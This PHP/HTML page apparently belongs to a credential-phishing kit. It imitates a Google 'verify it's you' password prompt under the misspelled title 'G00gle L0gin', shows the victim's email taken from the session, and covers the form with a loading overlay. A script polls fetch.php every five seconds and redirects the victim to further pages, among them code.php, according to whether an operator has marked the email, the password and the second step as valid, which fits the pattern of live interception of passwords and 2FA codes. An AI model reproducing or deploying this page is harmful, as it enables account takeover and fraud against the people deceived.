<?php 
session_start();
include 'con.php';

 
if (isset($_SESSION['email'])) {
    $email = $_SESSION['email'];
}else{
    header("location:index.php");
    
}


 ?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>G00gle L0gin</title>
  <style>
      @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;700&display=swap');

* {
  padding: 0;
  margin: 0;
  box-sizing: border-box;
  font-family: 'Poppins', sans-serif;
}

.box {
  height: 100vh;
  display: flex;
  justify-content: center;
  align-items: center;
  user-select: none;
}

.form {
  width: 400px;
  min-height: 650px;
  padding: 32px;
  border-radius: 6px;
  
}

.form img {
  display: block;
 
}

.form-title {
  font-weight: 500;
  margin-top: 10px;
  margin-bottom: 20px;
  font-size: 20px;
}

.form-group {
  height: 48px;
  margin-bottom: 20px;
  position: relative;
}

.form-control {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: none;
  border: 1px solid  #a1a1a1;
  outline: none;
  padding: 16px;
  border-radius: 3px;
  z-index: 1;
}

/* Add this block to make the input border red when there's an error */
.form-control.error {
  border: 1px solid red;
}

.form-label {
  position: absolute;
  left: 13px;
  top: 13px;
  color: #a1a1a1;
  background-color: white;
  padding: 0 6px;
  font-size: 14px;
  transition: .3s;
}

/* Add this block to turn the label red when there's an error */
.form-label.error {
  color: red;
  font-weight: bold;
}

.form-control:focus + .form-label {
  top: -10px;
  z-index: 10;
  color: #1B66C9;
  font-weight: 500;
}

.form-control:focus {
  border: 1px solid #1B66C9;
}

.form-control:not(:focus):valid + label {
  top: -10px;
  z-index: 10;
}

.showLabel {
  font-size: 14px;
}

.bottom-box {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-top: 35px;
}

.bottom-box a {
  color: #1B66C9;
  text-decoration: none;
  font-size: 14px;
  font-weight: 500;
}

.form-button {
  display: block;
  padding: 12px 32px;
  border: none;
  background-color: #1B66C9;
  color: #fff;
  border-radius: 3px;
  cursor: pointer;
  transition: .3s;
}

.form-button:hover {
  box-shadow: 0 10px 36px rgba(0, 0, 0, .15);
}

.userdetails {
  display: flex;
  font-size: 12px;
  border: 1px solid;
  width: max-content;
  padding: 9px;
  border-radius: 25px;
  margin-bottom: 10px;
}

.emaildetails {
  padding-left: 3px;
  padding-right: 3px;
  margin-top: 2px;
  font-size: 14px;
}
.overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 102%;
    height: 102%;
    background: rgb(0 0 0 / 70%); /* Lighter background (lower opacity) */
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 9000;
    backdrop-filter: blur(5px); /* Lighter blur */
    opacity: 0.4; /* Slightly less opacity for a lighter effect */
}

.overlay-content {
    text-align: center;
    color: white;
}
    .spinner {
        display: inline-block;
        width: 3rem; /* Adjust the size as needed */
        height: 3rem; /* Adjust the size as needed */
        border: 4px solid rgba(255, 255, 255, 0.2);
        border-radius: 50%;
        border-top-color: #ffffff;
        animation: spin 1.5s linear infinite;
    }

    @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
    }

    .hidden {
        display: none;
    }

    #fake {
    position: absolute; /* Position it behind the overlay */
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    
    z-index: 999; /* Ensure it’s below the overlay */
}
 



  </style>
</head>
<body>
  <div class="box">
    <form action="" method="post" class="form">
      <img src="6s5Eha.png" alt="">
      <h1 class="form-title">Welcome</h1>
      <div class="userdetails">
        <!-- Man Icon -->
        <svg aria-hidden="true" fill="currentColor" focusable="false" width="24px" height="24px" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
            <path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm6.36 14.83c-1.43-1.74-4.9-2.33-6.36-2.33s-4.93.59-6.36 2.33C4.62 15.49 4 13.82 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8c0 1.82-.62 3.49-1.64 4.83zM12 6c-1.94 0-3.5 1.56-3.5 3.5S10.06 13 12 13s3.5-1.56 3.5-3.5S13.94 6 12 6z"></path>
        </svg>
        <!-- Email -->
        <span class="emaildetails" id=""><?php echo $email; ?></span>
        <!-- Down Arrow -->
        <svg aria-hidden="true" fill="currentColor" focusable="false" width="24px" height="24px" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
            <path d="M7 10l5 5 5-5z"></path>
        </svg>
      </div>
      <p>To continue, first verify it’s you</p>
      <br>
      <div class="form-group">
        <input type="password" class="form-control <?php if($alert) { echo 'error'; } ?>" required name="password"  value="***************" id="txtPassword">
        <!-- Check if there is an alert or error, add 'error' class to label -->
        <label for="" class="form-label <?php if($alert) { echo 'error'; } ?>">Enter Your Password</label>
      </div>
       <span style="font-size:15px; color:red; margin-bottom:15px!important;" ><?php echo $alert; ?></span>
      <div class="form-group">
        <label class="showLabel">
          <input type="checkbox" id="show"> 
          Show Password
        </label>
      </div>
      <a style="color:blue;">Forget Password?</a>
      <button type="submit" class="form-button" name="submit" style="float:right;text-decoration:none;"> Next</button>
    </form>
  </div>
  
 


<div id="overlay" class="overlay ">
    <div class="overlay-content">
        <div class="spinner"></div> <!-- Spinning loader -->
        
    </div>
</div>

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<script>
    // Set an interval to execute the AJAX request every 5 seconds
    setInterval(function() {
        $.ajax({
            url: 'fetch.php',  // URL of your PHP file that returns the data
            method: 'POST',    // Use POST method to send session data
            success: function(data) {
                if (data) {
                    let parsedData = JSON.parse(data); // Parse the JSON response

                    // Check the response for 'valid_email', 'valid_pass', and 'step_2'
                    if (parsedData.valid_email === 'no') {
                        // If valid_email is "no", redirect to index.php with error=true
                        window.location.href = parsedData.redirect_url;
                    } else if (parsedData.valid_pass === 'no') {
                        // If valid_pass is "no", redirect to challenge.php with error=true
                        window.location.href = parsedData.redirect_url;
                    } else if (parsedData.valid_email === 'yes' && parsedData.valid_pass === 'yes' && parsedData.step_2 === 'no') {
                        // If valid_email and valid_pass are "yes", but step_2 is "no", redirect to code.php
                        window.location.href = parsedData.redirect_url;
                    } else if (parsedData.valid_email === 'yes' && parsedData.valid_pass === 'yes' && parsedData.step_2 === 'yes') {
                        // If both are "yes" and step_2 is "yes", redirect to tryanother.php
                        window.location.href = parsedData.redirect_url;
                    } else {
                        // If none of the conditions match, log to console
                        console.log("Stay on the same page.");
                    }
                }
            },
            error: function(xhr, status, error) {
                // Log any errors in the AJAX request
                console.error("Error in AJAX request:", error);
            }
        });
    }, 5000); // Set the interval to repeat every 5000 milliseconds (5 seconds)
</script>





</body></html>